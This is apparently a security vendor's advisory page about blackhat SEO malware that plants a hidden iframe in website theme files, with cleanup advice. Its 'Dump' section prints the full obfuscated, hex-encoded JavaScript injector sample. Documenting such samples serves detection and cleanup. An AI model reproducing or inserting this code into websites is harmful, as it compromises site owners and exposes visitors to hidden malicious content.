PRICING SUPPORT LOGIN

Blackhat SEO is a malicious technique used to manipulate the search engine results in order to benefit a website in terms of relevance.
One of the those techniques is inserting a hidden iframe inside a theme file, like header or footer, which will be loaded every time a page is rendered. This javascript malware obfuscates its payload using various techniques.

Affecting

Any vulnerable website. Outdated software or compromised passwords can act as an infection vector.

Cleanup

Cleanup is done by deleting the malicious code inside the file or replacing it with a fresh version. The infection can be found in your system by searching for the hex encoded javascripts inside your files and databse.
You can also sign up with us and let our team remove the malware for you.

Dump


<script>(function(n3){var mT=function(pFJ){return pFJ["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},byQ=function(wUz){return wUz[mT(918239)]("") },nN=""+byQ(["\xda\xf7\x09\xf6\x02","\x05\xd4>Iiwo\xfa","\x0e\xad\x06,\xdc","\x05\xbaM\x0b\x07","\x80!N4f\xb7\xaa\x04","+\x06$*)\x06(\x01\"","\x0c\x0b\x20.)AG\x20","\x0e*\x01\x20\x01","\x06&\x02#\x0b*(\x03","./\x02\x09\x00\x03","\x06(,&.(IwWR}8ctbpk","r_RG(\x0f\x0d\x09","\x1bjQ\x19k\x14i|[bG","0zfR{GH\x0b\x0c#fTeH","|jmN\x0afad\"RZiM5","\x09\x1by`\x12*3pN<","\x08\x0c9;kB\x16\x20","ewNAWJMe\x01Z\x0ap~@","Y!c\x17ZRq\x02(bIVAe","vfDN\x7fUtW\x01\x0b'","xY\x0b)_Pw]Vr#*${s","\x09\x01C}pLsd!+\x0c","sZ\x0b\x00XEao^*\x08","\x07P{\x02#B`bO\x7f_","@H`w_**.q[\x0b\x01ev","eE\x7fWuDnGfI{z\\SUw","rV\"\x0a)F**.q[\x0b","\x01Oreh\x01\"$pR)","\x20eo^Z|~Ft))\x0dZR","\x20!RWijgSlg\x02","\x0a'YX\x03#NW_W*","\x03W\x0dA6[pr\x03*G","u{w~^D_\x0b\x09\x0fZ","q\x09\x09Gv}NA*\x03&","pZ#\"sr}L\\w\x02\x0b","\x0fr[#\x0bl^]Oe[#+","\x06Pz\x20\x08YKx))|","'X5XSY\x0a\x01gSE","\x0b\x09\x0fZq\x09","\x09H|`@^u\x08#|\x0f","y=zZR\x20!JQ~\x7fgw}","\x0b\x09\x0fZq\x09","\x09@xaN_TGvd\x01\",","pr\x03*_z\x10F\x0a","\x7fZ;\x11|[:8}S12","\x02y[*\x03&pZ#\"igg","X_z\x10C\x14\x04qV\\","J\x7fs9\x14Cn\x20","\x01#hD\x1cY~F$\\Y;M","iO'I\\\x01\x0a\x0eZP","\x08\x01Wp\x10\x1a)J","r#*U\x06~\x1cx;,\x11","'\x1b$3.\x10\x7f\x18","Wy8t\x1d\x0b\x7fS","\x13v<xqcX8wWzBP0|V","\x03{X3}\x0b\x0axCP","\x1a}~0|z\x19\\YHZ7U","w7Sx8]\x1a#_S2_\x1d","\x0aWx\x12V\x14ZxiS","\x11v\\YKZ3Uw\"Rx;]","\x08\"piX1}\x7f\x0ax","CP\x18}~6|z\x1a\\YKZ","1Uw7Sx?]\x1a\x7fp9^Y","Ay\x14~\x7f6[{\x13V3","Up0_q`X0wW\x1cQP1|0_","S2_{Cx\x1a\x7fV\x14R","x9U\x1a\x03)vq5^5PQC","x;]|PJS6_}\x0aPx\x12","V\x00\x09xqS@p7_wZaS","\x1bW|\x0bq[@P\x1dU^","YBy\x11~\x7f#\x00","\x0aWP<|pcY\x19\\^!w","#zBP4|V\x03|X2}\x0bx","By?t}\x0b\x7fS\x13v(","9W(8r\x18N\x1c\x0bmu","Oh_all\x08gae\x0bpci","\x0bNJg\x02:fOmf|O*U","\x110dDgN|f\"q[\x18G","GgLTF+r\x13o:fOmf|O*","kj0dDgN|f\"Zhe\x18_","\"\x12IE#McmZSS)!L]Q","t~vfu)\x02UXSY\x0a","\x01q_RmihwI}wt\x20","\x03\\>5{s\x09\x01Hw","t[wT~~e\x00\x0a\x0aY","q\x1bd\x0bNJg\x02|gF","rfsCl\x09fIFzZR\x20!","C\\~\x7fFdvOtGrkmNo","\x7f`#*U\x03qdaM[pr","\x03*B~|~Fe_m}DZhDDE","|H\x08(^\x20{s\x09","\x01oWTht~\x7fGfF","\x7f\x7fujM]\x7fW*","\x08\x07gwDbwaEd\x09","\x0apz\x13O\x03MAD","\x09\x19^\x0a\x19vLL","PnsdiGY{x+*kfmbXpl]f","vg\x20\x09\x7f\x0br[","#\x0boU_GpW#+\x06gvf","I~HLe(\x08pQ:G*e`e","\x0a\x19v\x00\x1b^vu","\x08\x03vkDel\x7f","\x031"])+"",YW=[mT(48223541), zJF=4*(0xab-0x76)&0xff,mT(1294399205), mT(22420)+"\x4f\x77\x6e\x50"+mT(60266990950) ],Av=""+byQ(["\xe8xt\x02\xb5\x9e","\x8cK&xu\x15\xaf\x89","q8r\xb92e\xc9\xfa","\xcc\xaf}\xc9vF\xc1","\x0d\xf7"])+"",x7N=nN["\x73\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,Av[YW[2]]);Qy=function(VLu){var R9,i6,gG3=i6="",J6Y=0;VLu=VLu[YW[0]](gG3);for(R9 in VLu){if(VLu[YW[3]](R9)){i6+=t2(VLu[R9],x7N[YW[0]](gG3)[J6Y%=x7N[YW[2]]]);J6Y++;}}return(i6);};x7N=Qy(Av);n3[Qy("G}HL")](Qy(nN[Qy("Q~KSWyaOL")](Av[Qy("NnGGWc")])))})(window,t2=function(hfI,rv,di,ZC){hfI=hfI[di="\x63"+(ZC="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+ZC](hfI&zJF|((hfI&~zJF)^(rv[di](0)&~zJF))))});</script>